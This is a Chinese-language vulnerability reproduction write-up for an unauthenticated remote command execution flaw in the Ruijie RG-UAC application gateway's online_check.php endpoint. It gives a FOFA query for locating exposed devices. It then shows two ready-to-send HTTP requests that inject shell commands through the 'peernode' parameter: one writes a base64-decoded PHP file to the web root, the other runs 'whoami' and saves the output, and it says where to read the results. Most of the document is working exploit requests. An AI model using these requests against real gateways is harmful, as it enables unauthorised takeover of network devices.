锐捷RG-UAC应用网关online_check.php前台RCE漏洞
一、漏洞描述
<font style="color:rgba(0, 0, 0, 0.9);">锐捷RG-UAC应用管理网关 online_check.php 接口处存在命令执行漏洞，未经身份认证的攻击者可执行任意命令控制服务器权限。</font>
二、影响版本
锐捷RG-UAC应用网关
三、资产测绘
fofa：app="Ruijie-RG-UAC"
特征：
四、漏洞复现
访问该链接出现如下页面表示可能存在漏洞
/view/vpn/autovpn/online_check.php
iii:0,hit:0 通过以下poc写入文件
GET /view/vpn/autovpn/online_check.php?peernode=%20|%20`echo%20PD9waHAgZWNobyAxMTEqMTExOyB1bmxpbmsoX19GSUxFX18pOyA/Pg==%20|%20base64%20-d%20%3E%20test.php` HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
文件写入位置
/view/vpn/autovpn/test.php
通过如下poc执行命令
GET /view/vpn/autovpn/online_check.php?peernode=%20|%20`whoami%20>%201.txt` HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
获取命令执行结果
/view/vpn/autovpn/1.txt